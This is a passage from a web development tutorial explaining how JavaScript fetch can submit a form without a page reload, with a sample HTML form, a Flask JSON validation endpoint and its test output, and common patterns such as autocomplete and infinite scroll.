Comparing HTML Generation Locations

Both approaches query database, generate HTML list, display to user. Location of HTML generation differs.

Form Submission Without Page Reload

JavaScript can intercept form submission, send request with fetch, handle response without navigation.

Traditional form submission:

User fills form, clicks submit. Browser sends POST request, waits for response, replaces page with response HTML. Validation error returns form with error message. User input preserved via template rendering submitted values.

JavaScript-intercepted submission:

<form id="create-form">
  <input name="title" id="title-input">
  <button type="button" onclick="submit()">
    Create
  </button>
  <div id="error"></div>
</form>

<script>
function submit() {
  const title = document.getElementById('title-input').value;

  fetch('/api/create', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({title: title})
  })
  .then(r => r.json())
  .then(data => {
    if (data.error) {
      document.getElementById('error').textContent = data.error;
    } else {
      window.location = '/documents';
    }
  });
}
</script>

Form input remains in fields. Error appears without page reload. User corrects title, resubmits. Description not lost.

Server Endpoint Structure for JSON Response

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/api/create', methods=['POST'])
def api_create():
    data = request.get_json()
    title = data.get('title', '').strip()

    # Validation
    if not title:
        return jsonify({'error': 'Title required'}), 400

    if len(title) < 3:
        return jsonify({'error': 'Title must be at least 3 characters'}), 400

    # Would save to database
    doc_id = 123  # Simulated

    return jsonify({'success': True, 'id': doc_id})

with app.test_client() as client:
    # Test invalid
    response = client.post('/api/create',
                          json={'title': 'Re'},
                          content_type='application/json')
    print("Short title:")
    print(f"  Status: {response.status_code}")
    print(f"  Response: {response.get_json()}")
    print()

    # Test valid
    response = client.post('/api/create',
                          json={'title': 'Q4 Report'},
                          content_type='application/json')
    print("Valid title:")
    print(f"  Status: {response.status_code}")
    print(f"  Response: {response.get_json()}")
Short title:
  Status: 400
  Response: {'error': 'Title must be at least 3 characters'}

Valid title:
  Status: 200
  Response: {'id': 123, 'success': True}

Same validation logic as template-rendering route. Returns JSON instead of HTML. JavaScript receives response, decides how to update page.

Patterns in Modern Web Applications

Applications commonly use both server-rendered pages and JavaScript fetch requests.

Search autocomplete:

User types in search field. JavaScript sends request for each keystroke. Server returns matching results as JSON. JavaScript displays dropdown suggestions. No page reload.

Infinite scroll:

User scrolls to bottom of document list. JavaScript detects scroll position. Sends request for next page of results. Server returns JSON. JavaScript appends new items to list. User continues scrolling.

Live notifications:

JavaScript sends periodic requests to check for new notifications. Server returns count and recent items as JSON. JavaScript updates notification badge. No user action required.

Inline editing:

User clicks “Edit” button on document title. JavaScript shows text input with current value. User modifies, clicks “Save”. JavaScript sends updated value. Server validates, saves, returns success. JavaScript hides input, shows updated text. Document list not reloaded.

Page loads once with server-rendered HTML. Subsequent interactions use JavaScript fetch for partial updates. Combines fast initial load with smooth interactions.